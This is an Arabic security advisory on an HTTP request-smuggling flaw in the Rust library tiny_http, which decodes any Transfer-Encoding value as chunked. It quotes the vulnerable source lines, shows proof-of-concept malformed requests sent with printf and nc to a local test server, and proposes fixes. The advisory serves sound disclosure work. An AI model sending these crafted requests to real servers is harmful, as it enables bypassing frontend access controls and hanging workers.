
استشارة أمنية: تهريب طلبات HTTP عبر قيم Transfer-Encoding غير محللة (tiny_http)
معرّف CVE المُعيَّن: CVE-2026-66752
يتحقق tiny_http فقط من وجود ترويسة Transfer-Encoding. ولا ينظر أبدًا إلى قيمتها. أي قيمة، بما في ذلك ترميزات ليست chunked وقوائم ترميز لا يكون عنصرها الأخير chunked، تؤدي إلى فك ترميز الجسم بوصفه chunked، ويُتجاهَل Content-Length في الوقت نفسه.
الواجهة الأمامية التي تُحلّل ترميز النقل بشكل صحيح ستؤطِّر مثل هذا الطلب بشكل مختلف عمّا يفعله tiny_http. وجود مُشاركَين بتأطيرين مختلفين على اتصال واحد هو الشرط المسبق لتهريب الطلبات. كما أن إرسال جسم غير chunked مع ترميز غير chunked يجعل tiny_http يفشل في قراءة الجسم ولا يرسل أي استجابة إطلاقًا.
رابط المستودع: https://github.com/tiny-http/tiny-http
| المتأثر | جميع الإصدارات المُصدَرة حتى 0.12.0 (2022-10-06) ضمناً، وهو الإصدار الحالي |
| تم التحقق منها | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| أُصلح في | لا يوجد إصدار يتضمن الإصلاح حتى وقت كتابة هذا التقرير |
CWE-444 (تفسير غير متسق لطلبات HTTP).
درجة CVSS 4.0 الأساسية 6.3 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N
عميل بعيد غير مصادَق يرسل HTTP خامًا. لا حاجة لبيانات اعتماد أو تفاعل من المستخدم.
تتطلب حالة التهريب أن يكون tiny_http خلف واجهة أمامية أو شبكة توصيل محتوى (CDN) تمرّر Transfer-Encoding وContent-Length وتطبّق القسم 6.1 من RFC 9112 بشكل صحيح، أي أنها تتعامل مع قائمة ترميز لا يكون عنصرها الأخير chunked باعتبارها غير chunked وتتراجع إلى Content-Length. عندها تختلف الواجهة الأمامية وtiny_http حول موضع نهاية الجسم.
أما حالة الطلب دون استجابة فلا تتطلب أكثر من القدرة على الاتصال.
tiny_http-0.12.0/src/request.rs، الأسطر من 143 إلى 153. يتم العثور على الترويسة واستنساخها، لكن لا يُختبر من القيمة سوى وجودها فقط:
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
ثم يطبّق الكود في tiny_http-0.12.0/src/request.rs، الأسطر من 218 إلى 221، مُفكِّك ترميز chunked دون قيد أو شرط:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
إن transfer_encoding هو Option<AsciiString> يحمل القيمة الخام، ولا شيء يفحص محتواه أبدًا. يتطلب القسم 6.1 من RFC 9112 أن يكون الترميز الأخير لأي طلب هو chunked ويتطلب من الخادم رفض الرسالة بخلاف ذلك، ويتطلب القسم 6.3 رفض أي طلب يحمل كلتا الترويستين Transfer-Encoding وContent-Length.
الخطوة 1. شغّل خادمًا يعرض ترويسات التأطير والجسم الذي قرأه.
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
الخطوة 2. أرسِل طلبًا يحمل Transfer-Encoding: identity مع Content-Length مطابق وجسم عادي. ستؤطِّر أي واجهة أمامية هذا الجسم باعتباره البايتات الخمسة hello.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
النتيجة. تعامل tiny_http مع جسم غير chunked كما لو كان chunked، ثم تجاهله ولم يرسل أي استجابة. ينتظر العميل حتى انتهاء المهلة الزمنية الخاصة به ويُستهلَك الاتصال.
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
الخطوة 3. أرسِل قائمة ترميز لا يكون عنصرها الأخير chunked.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
النتيجة. يقبل tiny_http الطلب ويفك ترميزه كـ chunked، في حين يتطلب القسم 6.1 من RFC 9112 رفضه:
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
وعلى النقيض، فإن Content-Length وحده وTransfer-Encoding: chunked الصحيح يتصرّفان بشكل سليم ويُنتجان body="hello".
عندما يكون tiny_http خلف واجهة أمامية تُحلّل ترميزات النقل بشكل صحيح، يختلف المكوّنان حول موضع نهاية جسم الطلب. يختار المهاجم البايتات على جانبي هذا الاختلاف، وهو الإعداد القياسي لتهريب طلب يتجاوز توجيه الواجهة الأمامية والتحكم في الوصول لديها.
وبصرف النظر عن أي واجهة أمامية، تُظهر الخطوتان 2 و3 طلبًا مشوّهًا بشكل واضح يُبقي عاملًا مشغولًا ولا يتلقى أي استجابة إطلاقًا، فلا يستطيع العميل معرفة أن الطلب رُفض.
حلّل Transfer-Encoding بوصفها قائمة مفصولة بفواصل، كما هي في الواقع، في src/request.rs قرب السطر 144:
اشترط أن يكون الترميز الأخير chunked لأي طلب يحمل جسمًا، وارفض أي ترميز آخر برمز 400 بدلًا من فك ترميزه كـ chunked. وارفض أي طلب يحمل كلتا الترويستين Transfer-Encoding وContent-Length، كما يتطلب القسم 6.3 من RFC 9112 لخادم ليس وكيلًا (proxy)، بدلًا من تجاهل Content-Length بصمت عند السطر 150.
وعندما يفشل قارئ الجسم، أرسِل رمز 400 بدلًا من إسقاط الطلب دون استجابة.